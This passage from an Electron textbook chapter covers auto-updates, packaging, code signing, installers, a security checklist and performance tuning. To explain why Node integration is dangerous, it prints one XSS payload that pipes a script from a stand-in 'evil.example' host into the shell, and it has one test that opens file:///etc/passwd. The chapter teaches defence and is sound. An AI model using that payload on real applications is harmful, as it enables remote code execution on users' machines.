});
autoUpdater.checkForUpdates();
setInterval(() => autoUpdater.checkForUpdates(), 4 * 60 * 60 * 1000); // every 4 hours
}
module.exports = { initUpdater };
Release channels. Publish beta builds with a prerelease version (1.6.0-beta.1) and let users opt in with autoUpdater.channel = 'beta' (or allowPrerelease = true). Testers get new features first, and everyone else stays on stable.
Requirements and pitfalls.
- Code signing is required. macOS refuses to apply updates to an unsigned app, and on Windows, unsigned updates trigger SmartScreen warnings (16.3). The update mechanism is also an attack vector: it downloads and runs code. It must use HTTPS, verify checksums, and ideally verify that the new version is signed by the same publisher (electron-updater checks the Windows publisher name).
- Use the right formats. macOS auto-updates need the
ziptarget in addition to thedmgusers download. AppImage is the only Linux format that updates itself in place;debandrpmusers usually update through a package repository. - Data migrations. A new version may find data written by an older one. Version your settings and database files, and migrate on startup.
- Roll out gradually. Staged rollouts (
stagingPercentage) limit the damage of a bad release; you can stop a rollout and publish a fix. Because a broken updater cannot fix itself, test the update path itself (install version N, update to N+1) before every release. - Respect the user. Never force a restart while the user is working. Download silently, offer to restart, and fall back to installing on quit.
Key Takeaways
- Desktop apps must update themselves; for Electron apps this also delivers Chromium security fixes.
- The updater checks a feed, downloads in the background, verifies, and installs on restart or quit.
electron-updatercovers Windows, macOS and AppImage with GitHub, S3 or generic servers;update-electron-appsuits public GitHub projects.- Updates require code-signed builds, HTTPS and checksum verification; macOS needs the
ziptarget. - Use channels and staged rollouts, migrate data between versions, and never force a restart mid-work.
Practice
- (Beginner) Read the update-related events of
electron-updaterand draw a state diagram (idle, checking, available, downloading, downloaded, error) for the Bookshelf updater.- (Intermediate) Publish two signed or test builds (1.0.0 and 1.0.1) to a local static HTTPS server with the
genericprovider, install 1.0.0, and observe the full update cycle in the log file.- (Interview) "How would you design the update system of a desktop app so that one bad release cannot brick every installation?" Hint: think about staged rollouts, keeping the updater independent of app features that might break, testing the update path, and how users recover if the app crashes at startup.
<a id="163-building-securing-and-distributing"></a>
16.3 Building, Securing and Distributing
A folder with main.js and npm start is not a product. Users need a signed installer they can trust, an app that does not turn a web bug into a system compromise, and builds that start fast, use memory sensibly and report their crashes. This subchapter follows Bookshelf Desktop from source code to the user's machine, then compares Electron with its main alternatives.
Packaging with electron-builder and electron-forge
Why packaging is a separate step. During development, the electron npm package runs your source folder with a generic Electron binary. Users need something different: an executable named Bookshelf with its own icon and version information, containing only production code (no devDependencies, no tests), native modules compiled for the right architecture, built separately for each operating system and wrapped in an installer. Packaging tools automate this.
What a packaged app looks like.
Windows (unpacked) macOS
Bookshelf/ Bookshelf.app/
Bookshelf.exe <- renamed Contents/
Electron binary Info.plist <- bundle id, version, URL schemes
resources/ MacOS/Bookshelf <- renamed Electron binary
app.asar <- your code Frameworks/ <- Electron Framework, helpers
app.asar.unpacked/ <- native modules Resources/
locales/, *.pak, *.dll <- Chromium app.asar
icon.icns
Your code lives in app.asar, an archive format similar to tar that Electron reads as if it were a folder (fs.readFile(path.join(__dirname, 'index.html')) works inside it). ASAR speeds up startup on Windows (one large file instead of thousands of small ones), avoids path-length problems and enables integrity checks. Native modules (.node files) cannot be loaded from inside an archive, so they are placed in app.asar.unpacked.
The two main toolchains.
| Electron Forge | electron-builder | |
|---|---|---|
| Maintained by | The Electron project (official) | Community |
| Philosophy | Complete pipeline using official @electron/* tools (packager, rebuild, osx-sign, notarize) | One highly configurable tool with its own implementations |
| Config | forge.config.js | electron-builder.yml or the build key of package.json |
| Project templates | Yes: Vite, webpack, TypeScript | No (use with any setup) |
| Installers ("makers"/"targets") | Squirrel.Windows, MSI (WiX), MSIX/AppX, DMG, zip, pkg, deb, rpm, Flatpak, Snap | NSIS, MSI, MSIX/AppX, portable, DMG, pkg, zip, AppImage, deb, rpm, Snap, Flatpak and more |
| Auto-update | Built-in autoUpdater, update-electron-app | electron-updater (16.2) |
| Publishing | Publishers: GitHub, S3, others | publish providers: GitHub, S3, generic, others |
Both are good choices. Forge follows the Electron team's recommendations and is the default for new projects; electron-builder is very common in existing apps, mainly for NSIS installers and electron-updater.
Electron Forge.
# Create a project from a template (Vite + TypeScript)
npm init electron-app@latest bookshelf-desktop -- --template=vite-typescript
npm run start # electron-forge start: dev mode with hot reload of the renderer
npm run package # electron-forge package: app folder for the current platform (out/)
npm run make # electron-forge make: installers for the current platform (out/make/)
npm run publish # electron-forge publish: make + upload to the configured publisher
// forge.config.js
const { FusesPlugin } = require('@electron-forge/plugin-fuses');
const { FuseV1Options, FuseVersion } = require('@electron/fuses');
module.exports = {
packagerConfig: {
name: 'Bookshelf',
appBundleId: 'com.example.bookshelf',
icon: 'assets/icon', // icon.ico / icon.icns chosen per platform
asar: true,
protocols: [{ name: 'Bookshelf', schemes: ['bookshelf'] }],
osxSign: {}, // sign on macOS with the identity found in the keychain
osxNotarize: { // notarize (next topic); credentials from environment variables
appleId: process.env.APPLE_ID,
appleIdPassword: process.env.APPLE_APP_SPECIFIC_PASSWORD,
teamId: process.env.APPLE_TEAM_ID,
},
},
makers: [
{ name: '@electron-forge/maker-squirrel', config: { name: 'bookshelf' } }, // Windows Setup.exe
{ name: '@electron-forge/maker-dmg', config: {} }, // macOS disk image
{ name: '@electron-forge/maker-zip', platforms: ['darwin'] }, // needed for auto-update
{ name: '@electron-forge/maker-deb', config: { options: { categories: ['Office'] } } },
{ name: '@electron-forge/maker-rpm', config: {} },
],
publishers: [
{ name: '@electron-forge/publisher-github',
config: { repository: { owner: 'example', name: 'bookshelf-desktop' }, draft: true } },
],
plugins: [
new FusesPlugin({ // flip security-relevant switches in the binary (see the security checklist below)
version: FuseVersion.V1,
[FuseV1Options.RunAsNode]: false,
[FuseV1Options.EnableNodeOptionsEnvironmentVariable]: false,
[FuseV1Options.EnableNodeCliInspectArguments]: false,
[FuseV1Options.EnableEmbeddedAsarIntegrityValidation]: true,
[FuseV1Options.OnlyLoadAppFromAsar]: true,
}),
],
};
electron-builder.
# electron-builder.yml
appId: com.example.bookshelf
productName: Bookshelf
directories:
output: release
files: # what goes into app.asar
- dist/**/* # compiled main, preload and renderer code
- package.json
asarUnpack:
- node_modules/better-sqlite3/** # native module must live outside the archive
protocols:
- name: Bookshelf
schemes: [bookshelf]
fileAssociations:
- ext: bookshelf
name: Bookshelf Reading List
mac:
category: public.app-category.productivity
target: [dmg, zip]
hardenedRuntime: true
entitlements: build/entitlements.mac.plist
notarize: true # uses APPLE_ID / APPLE_TEAM_ID / ... environment variables
win:
target: [nsis]
linux:
target: [AppImage, deb]
category: Office
publish:
provider: github
owner: example
repo: bookshelf-desktop
npx electron-builder --mac --win --linux # build for the listed platforms (where possible)
npx electron-builder --win --publish always # build and upload to GitHub Releases
Native modules. Packages with C/C++ code (better-sqlite3, keytar, node-pty) are compiled against a specific Node.js ABI. Electron's embedded Node.js has a different ABI from your system Node.js, so these modules must be rebuilt for Electron (@electron/rebuild; Forge and electron-builder do it automatically) for each target platform and architecture. A missed rebuild is the classic "NODE_MODULE_VERSION mismatch" error at startup.
Building for every platform. You can build Windows and Linux installers on several systems, but macOS apps must be signed and notarized on macOS, and native modules are easiest to build on their own platform. In practice, teams use a CI matrix (17.3) with one runner per operating system:
# .github/workflows/release.yml (excerpt)
jobs:
build:
strategy:
matrix:
os: [windows-latest, macos-latest, ubuntu-latest]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@v4
- uses: actions/setup-node@v4
with: { node-version: 22 }
- run: npm ci
- run: npm run make # or: npx electron-builder --publish always
env: # signing secrets come from the CI secret store
APPLE_ID: ${{ secrets.APPLE_ID }}
APPLE_APP_SPECIFIC_PASSWORD: ${{ secrets.APPLE_APP_SPECIFIC_PASSWORD }}
APPLE_TEAM_ID: ${{ secrets.APPLE_TEAM_ID }}
Key Takeaways
- Packaging produces a renamed, branded Electron binary with your production code in
app.asar. - Electron Forge is the official, template-based pipeline; electron-builder is a widely used, highly configurable alternative.
- Both declare icons, bundle ids, URL schemes, file associations, targets and publishing in one config file.
- Native modules must be rebuilt for Electron's Node.js ABI and unpacked from the ASAR archive.
- Build on each operating system in CI; macOS builds must be made and signed on macOS.
Practice
- (Beginner) Create a Forge project with the Vite template, run
npm run make, and inspect the output: findapp.asarand list its contents withnpx @electron/asar list.- (Intermediate) Configure electron-builder for Bookshelf Desktop with NSIS, DMG + zip and AppImage targets, a
bookshelf://protocol and a.bookshelffile association. Addbetter-sqlite3and make sure the packaged app starts.- (Interview) "A packaged Electron app crashes at startup with
NODE_MODULE_VERSIONmismatch, but works withnpm start. What happened?" Hint: compare the Node.js ABI the module was compiled against with the one embedded in Electron, and think about which step of the build pipeline should handle it.
Code Signing and Notarization
Why sign. When a user downloads Bookshelf-Setup.exe, how can the operating system know it really comes from you and was not modified on the way? Code signing answers this. You obtain a certificate from a trusted authority, which verifies your identity, and use its private key to sign your binaries. The OS verifies the signature at install and launch time, much as a browser verifies a TLS certificate (10.1).
Without signing, users get frightening warnings or are blocked outright, and auto-updates do not work on macOS (16.2). Signing also matters for security: if your download server is compromised, a modified binary will fail verification.
Build machine User's machine
------------- --------------
Bookshelf.exe --hash--> digest --sign with private key--> signature embedded in the file
|
download v
--------> OS: recompute digest, verify signature with the
certificate's public key, check certificate chain
to a trusted root, check timestamp & revocation
|
valid -------+------- invalid / unsigned
install/run warning or block
A timestamp from a trusted timestamp server is added to the signature, proving the code was signed while the certificate was valid. Thanks to it, the signature stays valid after the certificate expires.
macOS: Developer ID, hardened runtime and notarization.
- Developer ID certificate. Join the Apple Developer Program, create a Developer ID Application certificate and install it in the build machine's keychain (in CI, import it from a base64-encoded
.p12secret). - Hardened runtime. Apps distributed outside the App Store must enable the hardened runtime, which blocks code injection and similar techniques. Electron needs a few exceptions, declared as entitlements.
- Sign every binary in the bundle (the app, Electron Framework, helper apps, native modules).
@electron/osx-sign(Forge) and electron-builder do this in the right order. - Notarize. Upload the signed app to Apple's notary service, which scans it automatically for malware and returns a ticket. Gatekeeper (the macOS component that checks downloaded apps) blocks apps that are not notarized.
- Staple the ticket to the app or DMG so that verification also works offline.
<!-- build/entitlements.mac.plist -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.cs.allow-jit</key> <!-- V8's JIT compiler needs executable memory -->
<true/>
<key>com.apple.security.device.camera</key> <!-- only if the app scans ISBN barcodes -->
<true/>
</dict>
</plist>
# What the tools do under the hood (useful for debugging)
xcrun notarytool submit Bookshelf-1.5.0.dmg \
--apple-id "$APPLE_ID" --team-id "$APPLE_TEAM_ID" \
--password "$APPLE_APP_SPECIFIC_PASSWORD" --wait # upload and wait for the verdict
xcrun stapler staple Bookshelf-1.5.0.dmg # attach the ticket
# Verify the result
codesign --verify --deep --strict --verbose=2 Bookshelf.app
spctl --assess --type execute --verbose Bookshelf.app # "accepted, source=Notarized Developer ID"
Request only the entitlements you need: each one weakens the hardened runtime a little. Device access (camera, microphone) also requires a usage description in Info.plist (for example NSCameraUsageDescription), shown to the user in the permission prompt.
Windows: Authenticode and SmartScreen.
- Windows code signing uses Authenticode certificates from a certificate authority. Since 2023, industry rules require the private key to be kept in a hardware security module: a USB token, a cloud HSM or a cloud signing service such as Microsoft's Azure-based signing service. You can no longer export a key to a
.pfxfile on a build server. - SmartScreen shows "Windows protected your PC" for downloads without established reputation. Reputation builds up as many users install files signed with the same certificate, so a newly signed app may still see warnings at first. Unsigned apps fare worst.
- Sign the installer and the executables inside it, with SHA-256 and a timestamp.
# Sign with a certificate in the local store or on a token (thumbprint identifies it)
signtool sign /fd sha256 /tr http://timestamp.digicert.com /td sha256 /sha1 <thumbprint> Bookshelf-Setup-1.5.0.exe
signtool verify /pa /v Bookshelf-Setup-1.5.0.exe # check signature and timestamp
electron-builder and Forge call signtool for you (or a custom signing hook for cloud HSMs) when they are configured with the certificate or signing service.
Linux. There is no central code-signing check at launch. Trust comes from the distribution channel: packages in an APT or RPM repository are signed with the repository's GPG key, Snap Store and Flathub packages are signed by the store, and AppImages can carry an optional GPG signature. Publish checksums (SHA256SUMS) alongside downloads.
Protecting the keys. Signing keys are among the most valuable secrets a company has: a stolen key lets attackers distribute malware under your name. Keep them in HSMs or the CI secret store, sign only in release pipelines, restrict who can trigger those pipelines, and know how to revoke a certificate.
Key Takeaways
- Code signing proves who published a binary and that it was not modified; timestamps keep signatures valid after the certificate expires.
- macOS requires a Developer ID signature, the hardened runtime with minimal entitlements, notarization and stapling.
- Windows uses Authenticode with HSM-protected keys; SmartScreen reputation builds over time.
- Linux relies on signed repositories, stores and published checksums.
- Signing keys are critical secrets: keep them in hardware or managed services and sign only in controlled pipelines.
Practice
- (Beginner) Download a signed app installer and inspect its signature: on Windows, open the file's Properties > Digital Signatures; on macOS, run
codesign -dv --verbose=4andspctl --assesson an installed app.- (Intermediate) Write the macOS signing part of a CI release job for Bookshelf: import the certificate from a secret into a temporary keychain, build with hardened runtime and entitlements, notarize, staple and verify with
spctl.- (Interview) "What is notarization and how is it different from code signing?" Hint: one proves identity and integrity; the other involves a third party scanning the build and issuing a ticket that the OS checks.
Installers for Windows, macOS and Linux
Why the installer matters. The installer is the user's first contact with your app. It decides where files go, whether administrator rights are needed, whether shortcuts, file associations and URL schemes are registered, how uninstallation works and whether auto-updates can replace the files later. Each operating system has its own conventions, and enterprise IT departments have their own requirements.
Windows.
| Format | Install scope | Strengths | Weaknesses |
|---|---|---|---|
NSIS (.exe, electron-builder) | Per-user (%LOCALAPPDATA%\Programs) or per-machine (Program Files) | Flexible: one-click or assisted wizard, custom pages; works with electron-updater | Not natively manageable by enterprise tools |
Squirrel.Windows (Setup.exe, Forge) | Per-user only | Zero-prompt install, built-in delta updates | No install location choice, no per-machine install; extra startup events to handle |
| MSI (WiX) | Usually per-machine | Standard for enterprise deployment (Group Policy, Intune) | Complex; updates managed by IT, not the app |
| MSIX / AppX | Per-user, containerized | Clean install/uninstall, Microsoft Store, Windows-managed updates | Sandbox-like restrictions on file system and registry |
Portable (.exe) | None | Runs without installation (USB stick) | No shortcuts, file associations or auto-update |
Per-user versus per-machine. Per-user installs need no administrator rights and let the app update itself silently, which is why most Electron apps use them. Per-machine installs (one copy for all users, in Program Files) need elevation for installation and for every update, so they are typically managed by IT with MSI.
Squirrel.Windows launches your app with special arguments during install, update and uninstall, so the app can create or remove shortcuts and then exit:
// main.js (Forge + Squirrel.Windows): handle installer events before anything else
if (require('electron-squirrel-startup')) app.quit(); // creates/removes shortcuts, then exits
macOS.
| Format | Use |
|---|---|
| DMG | Standard download: a disk image with the app and an alias to /Applications; the user drags one onto the other |
| zip | Required by Squirrel.Mac auto-updates; also a simple download |
| pkg | Installer package for cases that need system-level steps or managed (MDM) deployment |
Mac App Store (mas target) | Store distribution; requires the App Sandbox and store-specific signing; updates through the store |
Architectures. Macs use Apple Silicon (arm64) and older Intel (x64) processors. Ship either a universal binary (both architectures in one app, about twice the size) or separate downloads per architecture. Windows also has arm64 devices; building x64 and arm64 separately gives the best performance on each.
Linux.
| Format | Install | Updates | Notes |
|---|---|---|---|
| AppImage | None: download, chmod +x, run | electron-updater replaces the file | Works on most distributions; desktop integration is limited unless a helper is used |
.deb | apt install ./bookshelf.deb (Debian, Ubuntu) | Through your APT repository | Declare dependencies; integrates with the system |
.rpm | dnf install (Fedora, RHEL, openSUSE) | Through your RPM repository | Same as deb for the Red Hat family |
| Snap | Snap Store | Automatic by the store | Confined; mainly Ubuntu |
| Flatpak | Flathub | Automatic by Flatpak | Sandboxed with portals; popular across distributions |
Linux packages also install a .desktop file, which provides the menu entry, icon, file associations and URL schemes:
# /usr/share/applications/bookshelf.desktop (generated by the packager)
[Desktop Entry]
Name=Bookshelf
Exec=/opt/Bookshelf/bookshelf %U
Icon=bookshelf
Type=Application
Categories=Office;
MimeType=x-scheme-handler/bookshelf;application/x-bookshelf;
Choosing a set of targets. A typical consumer app ships: Windows NSIS per-user (x64 and arm64), macOS DMG + zip (universal or per-architecture), Linux AppImage + deb (+ rpm). Add MSI for enterprise customers and store packages if store presence matters.
Uninstalling cleanly. Uninstallers remove the program files but usually leave userData (settings and local data), so a reinstall keeps the user's data. Offer an option to remove data too, and document where it lives.
Key Takeaways
- Windows: NSIS or Squirrel for per-user installs with auto-update; MSI for enterprise; MSIX for the Store.
- macOS: DMG for downloads plus zip for updates; pkg for managed deployment; the
mastarget for the App Store; ship arm64 and x64 or universal. - Linux: AppImage for a self-updating download; deb and rpm through repositories; Snap and Flatpak through stores.
- Per-user installs avoid administrator prompts and allow silent updates; per-machine installs suit IT-managed environments.
- Installers register shortcuts, URL schemes and file associations; uninstallers usually keep user data.
Practice
- (Beginner) Build an NSIS installer (Windows) or a DMG (macOS) for Bookshelf Desktop, install it, and find where the program files and the
userDatafolder are on disk.- (Intermediate) Produce a Linux AppImage and a
.debpackage; install the deb and verify that thebookshelf://scheme and the.desktopentry work (xdg-open bookshelf://book/1).- (Interview) "A large company wants to deploy your Electron app to 5,000 managed Windows machines with no user prompts and controlled updates. What would you change in your distribution?" Hint: compare per-machine MSI with per-user NSIS or Squirrel, consider disabling in-app updates, and think about how IT tools push new versions.
The Electron Security Checklist
Why Electron security is different. In a browser, an XSS bug lets the attacker act as the user on that website. In an Electron app, the same bug runs code in a process that sits next to Node.js and native APIs. Depending on configuration, it can read files, run programs and install malware. Electron apps also often display untrusted content: chat messages, documents, Markdown, web pages, book descriptions from an API. The Electron project maintains an official security checklist. Following it reduces a web bug to a contained web bug.
The model is defense in depth, like a building with an outer fence, locked doors, and a safe inside: each layer assumes the one before it may fail.
Untrusted content (remote pages, user data, deep links)
|
[1] Do not load it, or load it without privileges (no Node, sandbox, isolation)
|
[2] Restrict what it can do: CSP, navigation and window-open limits, permission handler
|
[3] Narrow preload API exposed through contextBridge
|
[4] Main process validates sender and arguments of every IPC message
|
[5] Hardened binary (fuses, ASAR integrity) and an up-to-date Electron
|
Operating system
The checklist (adapted from the official Electron security documentation):
| # | Recommendation | Why |
|---|---|---|
| 1 | Load only secure content (HTTPS, WSS; no HTTP) | Prevents network attackers from injecting code |
| 2 | Do not enable Node.js integration for remote content (nodeIntegration: false, the default) | XSS would become remote code execution |
| 3 | Keep context isolation enabled (default) | Page scripts cannot tamper with the preload world |
| 4 | Keep the process sandbox enabled (default) | Limits what a compromised renderer can do at OS level |
| 5 | Handle permission requests (session.setPermissionRequestHandler) | By default, Electron grants requests for camera, microphone, notifications and others |
| 6 | Do not disable webSecurity | It enforces the same-origin policy |
| 7 | Define a Content Security Policy | Blocks injected and third-party scripts (17.1) |
| 8 | Do not enable allowRunningInsecureContent | Prevents HTTP scripts on HTTPS pages |
| 9 | Do not enable experimental features | Less-tested code paths |
| 10 | Do not use enableBlinkFeatures | Same reason |
| 11 | <webview>: do not use allowpopups | Prevents uncontrolled new windows |
| 12 | Verify <webview> options and parameters before creation | Prevents attackers from enabling Node in a webview |
| 13 | Disable or limit navigation (will-navigate) | A window that navigates to an attacker's page keeps its preload and IPC access |
| 14 | Disable or limit creation of new windows (setWindowOpenHandler) | Same reason |
| 15 | Do not use shell.openExternal with untrusted content | file:, smb: or custom-scheme URLs can execute programs |
| 16 | Use a current version of Electron | Chromium and Node.js vulnerabilities are fixed only in supported versions |
| 17 | Validate the sender of all IPC messages | Subframes or navigated pages may send messages |
| 18 | Avoid the file:// protocol; prefer custom protocols | file:// pages have broad file access semantics |
| 19 | Check which fuses you can change | Disables features attackers abuse, such as ELECTRON_RUN_AS_NODE |
| 20 | Do not expose Electron APIs to untrusted web content | Preload APIs must be narrow (16.1) |
Applying it in code. Several items can be enforced globally, for every page the app ever creates:
// main/security.js: applied once at startup
const { app, session, shell } = require('electron');
const APP_ORIGIN = 'app://bookshelf';
const EXTERNAL_ALLOWED = new Set(['https:', 'mailto:']);
app.on('web-contents-created', (_event, contents) => {
// 13. No navigation away from the app's own origin
contents.on('will-navigate', (event, navigationUrl) => {
if (new URL(navigationUrl).origin !== APP_ORIGIN) event.preventDefault();
});
// 14 + 15. No new Electron windows from content; open safe links in the browser instead
contents.setWindowOpenHandler(({ url }) => {
const { protocol } = new URL(url);
if (EXTERNAL_ALLOWED.has(protocol)) shell.openExternal(url);
return { action: 'deny' };
});
// 12. Webviews: strip preloads and force secure settings, or block them entirely
contents.on('will-attach-webview', (event, webPreferences) => {
delete webPreferences.preload;
webPreferences.nodeIntegration = false;
webPreferences.contextIsolation = true;
event.preventDefault(); // Bookshelf does not use <webview> at all
});
});
app.whenReady().then(() => {
// 5. Grant only the permissions the app needs, only to its own origin
session.defaultSession.setPermissionRequestHandler((webContents, permission, callback) => {
const origin = new URL(webContents.getURL()).origin;
callback(origin === APP_ORIGIN && ['notifications', 'clipboard-sanitized-write'].includes(permission));
});
// 7. CSP as a response header for every response (or a <meta> tag in index.html)
session.defaultSession.webRequest.onHeadersReceived((details, callback) => {
callback({
responseHeaders: {
...details.responseHeaders,
'Content-Security-Policy': [
"default-src 'self'; script-src 'self'; connect-src 'self' https://api.bookshelf.example.com; " +
"img-src 'self' https: data:; object-src 'none'; base-uri 'none'",
],
},
});
});
});
Keeping up. The checklist is not a one-off task. Re-check it when adding a feature that displays new kinds of content. Upgrade Electron at least within the three supported major versions, and audit dependencies (17.1), since every npm package in the main process runs with full privileges. Tools such as Electronegativity scan an Electron codebase for common misconfigurations and can run in CI.
Key Takeaways
- In Electron, an XSS bug can become code execution on the user's machine, so web security mistakes cost more.
- Keep the secure defaults: no Node integration, context isolation and sandbox on,
webSecurityon. - Enforce navigation limits, window-open handlers, permission handlers and a CSP for every
webContentsviaweb-contents-created. - Validate IPC senders and arguments, never pass untrusted URLs to
shell.openExternal, and avoidfile://. - Stay on a supported Electron version, flip unneeded fuses off, and scan the codebase in CI.
Practice
- (Beginner) Go through the 20 items for your Bookshelf Desktop code and mark each as done, not applicable or missing.
- (Intermediate) Add the global
web-contents-createdhandlers above and test them: from the DevTools console, trylocation.href = 'https://example.com'andwindow.open('file:///etc/passwd')and confirm both are blocked.- (Interview) "Electron grants permission requests by default. Why is that a problem, and how do you fix it?" Hint: think about what a compromised or third-party page could silently access, and how a session-level permission handler with an origin check restores control.
Node Integration and Remote Content Risks
Why this deserves its own topic. Most serious Electron vulnerabilities come from one combination: content the developer does not fully control, running in a renderer that has more power than a browser tab. Seeing exactly how an innocent-looking bug becomes "attacker runs programs on your computer" explains why the checklist's defaults exist and why they must never be turned off for convenience.
How XSS becomes remote code execution. Imagine an old version of Bookshelf Desktop configured as many early tutorials suggested, which renders book descriptions from the API as HTML:
// INSECURE configuration, often found in old code and tutorials
new BrowserWindow({
webPreferences: { nodeIntegration: true, contextIsolation: false, sandbox: false },
});
// renderer: description comes from the API and may contain user-submitted text
card.innerHTML = `<h2>${book.title}</h2><div>${book.description}</div>`; // XSS bug
An attacker submits a book whose description is:
<img src="x" onerror="require('child_process').exec('curl https://evil.example/p.sh | sh')">
Attacker -> bookshelf API -> description stored
|
Victim opens Bookshelf Desktop -> renderer inserts description with innerHTML
|
onerror handler runs in the page
|
Browser tab: no `require` -> limited to the website (bad, but contained)
Insecure Electron: require('child_process') exists -> shell command runs
|
attacker's script runs with the user's privileges:
reads files, steals tokens, installs malware
The same escalation happened in real products. A well-known 2020 case in Discord's desktop app chained an XSS-like bug in embedded content with disabled context isolation into remote code execution. Several messaging and note-taking apps have had similar reports, where rendering a crafted message or Markdown file was enough.
Why each default blocks a step.
| Setting | Attack step it blocks |
|---|---|
nodeIntegration: false | Injected script cannot call require |
contextIsolation: true | Injected script cannot reach the preload's require/ipcRenderer or tamper with its built-ins (prototype pollution) |
sandbox: true | Even a renderer exploit (a Chromium bug) lands in an OS-level sandbox |
| Narrow preload API + IPC validation | Injected script can only call the specific, validated actions the UI needs |
CSP without 'unsafe-inline' | The inline onerror handler is not executed in the first place |
Sources of untrusted content. In a desktop app, it is not only remote websites:
- data from your own API that contains user input (book descriptions, reviews, chat messages);
- files the user opens (Markdown, HTML, SVG, PDFs,
.bookshelffiles from others); - deep links (16.2) and command-line arguments;
- third-party scripts: analytics, ads, CDNs, embedded widgets;
- web pages loaded with
loadURL('https://...')and any page they navigate to.
Loading remote content safely. Some apps show web content: a help page, an OAuth login page, the publisher's website for a book. Rules:
- Do not load remote pages into a window that has your preload and IPC. Use a separate window or
WebContentsViewwithout a preload, with the sandbox, and with its ownsession(partition: 'remote-content') so it cannot read the app's cookies or storage. - Better still, open external sites in the user's real browser with
shell.openExternalafter checking the URL scheme. - For login, use the system browser with a deep-link redirect (16.2) and PKCE (10.3), instead of an embedded window where the app could see the user's password.
- A "thin wrapper" app that just calls
loadURL('https://app.example.com')has the attack surface of that whole website and its dependencies. Give it no preload, or a minimal one, and enforce navigation limits.
// A sandboxed viewer for external content: no preload, separate session, no navigation out
function openPublisherPage(url) {
const { protocol, hostname } = new URL(url);
if (protocol !== 'https:' || !ALLOWED_HOSTS.has(hostname)) return;
const viewer = new BrowserWindow({
width: 900, height: 700,
webPreferences: {
sandbox: true,
contextIsolation: true,
nodeIntegration: false,
partition: 'remote-content', // separate cookies, cache and storage from the app
// no preload: this page gets no bridge to main
},
});
viewer.loadURL(url);
}
Safe rendering in the app itself. The UI rules of the web apply with higher stakes. Render with textContent or a framework's escaped bindings (React escapes by default, 14.1), sanitize unavoidable HTML with a library such as DOMPurify, and render Markdown with raw HTML disabled.
Key Takeaways
- With Node integration (or broken isolation), any XSS in an Electron renderer becomes code execution on the user's machine.
- Each default (no Node, isolation, sandbox) and each extra layer (narrow preload, IPC validation, CSP) blocks a different step of that chain.
- Untrusted content includes your own API data, opened files, deep links and third-party scripts, not just websites.
- Show remote pages without a preload, in a sandboxed window with a separate session, or open them in the system browser.
- Render text safely (
textContent, escaped templates, sanitization), exactly as on the web.
Practice
- (Beginner) Find the
innerHTMLuses in a small Electron project (or the Bookshelf renderer) and replace each withtextContentor sanitized HTML.- (Intermediate) In a throwaway app with
nodeIntegration: trueandcontextIsolation: false, reproduce the book description attack with a harmless payload (for example writing a file to the temp folder). Then restore the secure defaults and add a CSP, and show at which layer the attack now fails.- (Interview) "Your product manager wants the desktop app to be a thin wrapper that loads the production website with
loadURL, plus a preload that gives it file access. What are the risks and what would you propose?" Hint: consider every script that can run on that origin, navigation to other sites, the scope of the preload API, and the alternatives (local bundle, narrow capabilities, PWA).
Memory and Performance Optimization
Why Electron apps feel heavy. Users often complain that Electron apps start slowly and use a lot of memory. Part of this is structural: a Chromium browser and a Node.js runtime start every time, and each window is a separate renderer process with its own V8 heap. But much of the slowness people notice comes from avoidable choices: loading every module at startup, synchronous work in the main process, too many windows, leaks. The structural cost is fixed. The avoidable part is where you can make a large difference.
Measure first.
| Tool | Measures |
|---|---|
app.getAppMetrics() | CPU and memory of every Electron process (main, renderers, GPU, utility) |
process.getProcessMemoryInfo(), process.memoryUsage() | Memory of the current process |
| DevTools Performance and Memory panels (renderer) | Frames, long tasks, heap snapshots, detached DOM nodes |
electron --inspect=9229 . + chrome://inspect | Main-process CPU profiles and heap snapshots |
contentTracing module / Perfetto | Detailed traces across all processes |
Timestamps (performance.now()) around startup phases | Where startup time goes |
// main.js: log memory per process type every minute (development builds)
setInterval(() => {
for (const m of app.getAppMetrics()) {
console.log(`${m.type.padEnd(10)} pid=${m.pid} ` +
`mem=${Math.round(m.memory.workingSetSize / 1024)} MB cpu=${m.cpu.percentCPUUsage.toFixed(1)}%`);
}
}, 60_000);
Faster startup.
Startup timeline (typical, before optimization)
|-- Electron/Chromium init --|-- main.js requires --|-- window created --|-- renderer loads JS --|-- data --|
^ many large modules ^ shown only when ^ one huge bundle, ^ API call
loaded eagerly everything is done parsed before paint
- Show something quickly. Create the window with
show: false, show it onready-to-show, and give it abackgroundColor. Render the app shell first and load data afterwards. - Load less in main before the window. Every
requireis synchronous file I/O plus parsing. Defer modules needed only later (updater, analytics, export code):// Load the heavy module only when the user exports ipcMain.handle('books:export-pdf', async (event, books) => { const { renderPdf } = require('./pdf-export'); // loaded on first use, then cached return renderPdf(books); }); - Bundle main, preload and renderer code with Vite, webpack or esbuild. One bundled file loads faster than hundreds of
node_modulesfiles, and unused code is removed. Enable code splitting in the renderer (14.5). - Use V8's code cache. Bundled renderer code loaded with standard script tags benefits from Chromium's compilation cache on subsequent starts; avoid patterns that defeat it, such as
eval. - Do not wait on the network before first paint. Show cached data from local storage, then refresh.
Keep the main process responsive. As described in 16.1, the main process serves every window. Avoid all *Sync APIs in main (readFileSync, execSync, dialog.showMessageBoxSync, ipcRenderer.sendSync from renderers), and move CPU-heavy work (search indexing, image processing, parsing large files) to a utility process or a renderer Web Worker.
Reduce memory.
- Fewer renderers. Each
BrowserWindowcosts a full renderer process. Reuse windows, hide rather than destroy windows that reopen often (trading memory for speed deliberately), and do not create invisible windows just to run background code (use a utility process). - Avoid leaks. Typical sources:
ipcRenderer.onlisteners added on every component mount and never removed (return an unsubscribe function, as in 16.1);ipcMainhandlers orMaps that keep references to closed windows; timers in closed views; large caches without limits. - Throttle hidden windows. Chromium slows timers and rendering in background windows (
backgroundThrottling: true, the default). Disable it only for windows that really must keep running at full speed (audio, real-time collaboration). - Virtualize long lists. Rendering 10,000 book cards creates 10,000 DOM subtrees. Render only the visible rows (14.5).
- Release native resources. Destroy
Tray,WebContentsViewandNotificationobjects you no longer need, and close database connections.
Battery and CPU. Desktop users notice fans and battery drain. Avoid polling (use events and powerMonitor), stop animations when windows are hidden (document.visibilityState), and cancel periodic work while on battery or asleep.
Key Takeaways
- Part of Electron's cost (Chromium + Node.js, one process per window) is fixed; much of the perceived slowness is avoidable.
- Measure with
app.getAppMetrics(), DevTools profiles for renderer and main, and tracing. - Speed up startup by showing the window early, deferring
